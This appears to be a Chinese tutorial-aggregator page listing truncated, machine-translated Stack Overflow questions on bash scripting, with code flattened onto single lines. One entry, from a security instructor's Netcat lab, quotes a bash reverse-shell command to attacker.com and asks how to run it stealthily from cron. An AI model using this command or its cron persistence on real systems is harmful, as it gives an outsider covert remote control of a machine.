【linux – 如果文件中的字符串只包含使用Bash在另一个文件中找到的数字,那么如何替换文件中的字符串?】教程文章相关的互联网学习教程文章

linux – 无法使用bash脚本附加到文件【代码】

这是我的代码:#!/bin/bash -e dirs=( * ) for f in "${dirs[@]}" dowhile IFS= read -r line; docase "$line" in*disabled\>true* )sed -i '1i "$f"' list.txt;;esacdone < "$f/config.xml" done我没有使用sed,而是尝试了echo和printf,但文件list.txt始终是空的.为什么我无法追加档案?echo "$f" >> list.txt;; printf '%s\n' "$f" >> list.txt;;测试文件夹下的示例config.xml文件:<?xml version='1.0' encoding='UTF-8'?> <proj...

linux – bash – 用引号括起所有数组元素或参数【代码】

我想在bash中编写一个函数,将参数转发给cp命令.例如:输入<function> "path/with whitespace/file1" "path/with whitespace/file2" "target path"我希望它实际上做到:cp "path/with whitespace/file1" "path/with whitespace/file2" "target path"但相反,现在我正在实现:cp path/with whitespace/file1 path/with whitespace/file2 target path我尝试使用的方法是将所有参数存储在一个数组中,然后只需将cp命令与数组一起运行.像这...

linux – 检查是否设置了传递给bash脚本的第一个参数?【代码】

我正在尝试查看传递给我脚本的第一个参数是否已设置.我使用此处的说明创建测试:How to check if a variable is set in Bash? 这是我的脚本:var=$1 if [ -z ${var+x} ]; then echo "var is unset"; else echo "var is set to '$var'"; fi假设我没有任何参数运行它:ole@MKI:./test.sh var is set to ''假设我用一个参数运行它:ole@MKI:./test.sh foo var is set to 'foo'在这两种情况下都没有报告var未设置. 思考? TIA,奥勒解决...

linux – 登录后运行bash脚本【代码】

我有一个带有一系列whiptail菜单的bash脚本,允许用户设置他们的新系统,即Ubuntu服务器,没有GUI,只有CLI(它将是一个虚拟机映像). 我已经通过编辑/ etc / default / grub和/etc/init/tty1.conf强制进行root登录,因此用户将被直接删除到root命令提示符下.用户必须输入./whiptail.sh才能启动脚本并获得whiptail提示以进一步设置其主机. 现在,我希望我的脚本成为登录后出现的内容,而不是用户被删除到命令提示符.我怎样才能做到这一点?解...

linux – 在Bash中管道打印到ls?【代码】

所以我正在学习bash中的管道,我发现这个简洁的描述:A Unix pipe connects the STDOUT (standard output) file descriptor ofthe first process to the STDIN (standard input) of the second. Whathappens then is that when the first process writes to its STDOUT, thatoutput can be immediately read (from STDIN) by the second process.Source 鉴于这种理解,让我们将printf的STDOUT连接到ls的STDIN.为简单起见,打印父目录(...

linux – 在Bash中将多个用户输入添加到一个变量中【代码】

我是unix bash脚本的新手,需要知道这是否可行.我想多次询问用户输入,然后将输入存储到一个变量中.userinputs= #nothing at the startread string <code to add $string to $userinputs> read string <code to add $string to $userinputs> #this should add this input along with the other input因此,如果用户在第一次询问时输入“abc”,则会在$userinputs中添加“abc” 然后当再次询问输入并且用户输入“123”时,脚本应该将其...

linux – Bash反向shell命令cron工作不起作用 – 我放弃了【代码】

我在一所大学教授网络安全,并在Netcat上编写一个实验室并反向炮弹.我创建了一个cron作业,它运行一个连接到我的监听器的脚本.这很好.问题是指纹太多了,脚本可以删除.实验室的一部分是隐身操作(比如在输入的任何命令前放置一个空格). 我试图让这个命令执行.现在频率并不重要,但最终它会在开机时运行,每30分钟运行一次./bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1从命令行运行时,命令有效,并建立反向shell.我不想使用端口80,因为...

linux shell脚本中的开头#!/bin/bash的含义【代码】

对于linux上需要执行 的shell脚本,通常第一行的内容是#!/bin/bash当然有很多时候不规范的写法可以忽略掉这一句,执行起来好像也是ok,结果没什么不一样 。。 这只是因为在我们常用 的linux系统上默认都是执行/bin/bash来执行我们的shell脚本,但是如果有些用户使用的是csh,那么缺少第一行的“#!/bin/bash的shell脚本执行结果就可能存在语法不兼容的问题,导致结果异常或者根本不能执行。 Shell脚本和我们常用的C语言或者C++语言...

linux – 如何编写一个bash脚本来提供另一个程序响应【代码】

我有一个bash脚本,可以执行多个任务,包括新数据库上的python manage.py syncdb.此命令要求输入,例如admin的登录信息.目前,我只是每次都在命令行中键入它.有没有办法可以自动提供这些回复作为bash脚本的一部分? 谢谢,我对bash一无所知. 我正在使用Ubuntu 10.10.解决方法:我在SF上回答了similar question,但是这个更通用,并且在SO上很好. “你想使用expect.它可能已经在你的机器上[尝试预期].它是任何类型的交互式命令行自动化的标准...

linux – 为什么在这个bash脚本中使用$符号【代码】

我正在寻找Fedora sysV init脚本示例,它是这样的:#...some codestart() {[ -x $exec ] || exit 5[ -f $config ] || exit 6echo -n $"Starting $prog: "# if not running, start it up here, usually something like "daemon $exec"retval=$?echo[ $retval -eq 0 ] && touch $lockfilereturn $retval } #...some more code....在这一行中第一个美元符号的原因是什么,因为看起来如果没有它,脚本将完美地工作 – 它不会吗?echo -n $...

linux – Bash:如何远程运行脚本【代码】

我有一个脚本(比如run.py),我想将它scp到远程机器(比如10.1.100.100),cd到该远程机器的目录中,然后在该目录中执行run.py. 如何在一个单独的bash脚本中包含上述过程?我不知道如何让bash在另一台机器上远程执行命令. 希望我能在终端中看到run.py的stdout.但如果我只能重定向它,那也没关系.解决方法: chmod +x ./run.py scp -pq ./run.py 10.1.100.100:'/home/myremotedirectory/run.py' ssh 10.1.100.100 'cd /somedirectory ...

linux – BASH脚本启动node.js套接字服务器作为服务【代码】

基本上我想要完成的是,某种脚本或方法让我启动node.js套接字服务器脚本,作为服务. 这样做是为了让我不必在SSH中物理运行’node server.js’并且必须打开它. 任何帮助,将不胜感激. 谢谢斯科特解决方法:除了永远之外,我没有看到任何想要使用其他东西的罪犯.在我的项目中,我也避免使用这种工具,而更多地依赖于系统功能.因为我也试图避免以root身份运行我的应用程序,所以我不能使用SystemV或Upstart. 这里有强大的shell脚本!我创建了几...

linux – BASH – 找不到什么$?特殊变量意味着【代码】

谁知道$?在BASH意味着什么? 我必须编写一个脚本,如果它崩溃或被杀死,它将重启一个进程.所以我发现这是从:RESTART="/etc/init.d/apache2 restart" if [ $? -ne 0 ] # if apache not running then# restart apache$RESTART fi我做了搜索,但是$?我不知道. 我不确定上面的脚本是否是最好的方法,我假设$RESTART将挂起,直到进程被终止或死亡?如果没有,我会假设在那里会有某种类型的sleep()调用,所以这个东西不会以每小时1000英里的速...

linux – bash:循环procces输出并终止进程【代码】

我需要以下方面的帮助: 我使用linux来编写发送到设备的命令.我需要向设备提交grep logcat命令,然后在生成时迭代其输出并查找特定字符串.找到此字符串后,我希望我的脚本移动到以下命令. 在伪代码中for line in "adb shell logcat | grep TestProccess" do if "TestProccess test service stopped" in line:print lineprint "TestService finished \n"breakelse:print line done解决方法: adb shell logcat | grep TestProcess | wh...

linux – 在从bash创建的tar中订购文件【代码】

知道如何按特定顺序tar文件.我知道一开始听起来很奇怪,但是听我说. OVA文件本质上是一个tar文件,但具有特定的顺序. Tar通常用于创建文件,但为了让VMware等HyperVisors能够识别OVA,OVA中的文件必须以非常特定的方式进行排序. .ovf文件必须首先在OVA中,其他文件必须按.ovf中列出的顺序出现 这里只是一个帮助解释的快速树:VM.ova--||--VM.ovf|--VM.mf|--VM.vmdk|--VM.iso这是正确的顺序.当我尝试使用tar创建一个ova时它起作用,但顺序...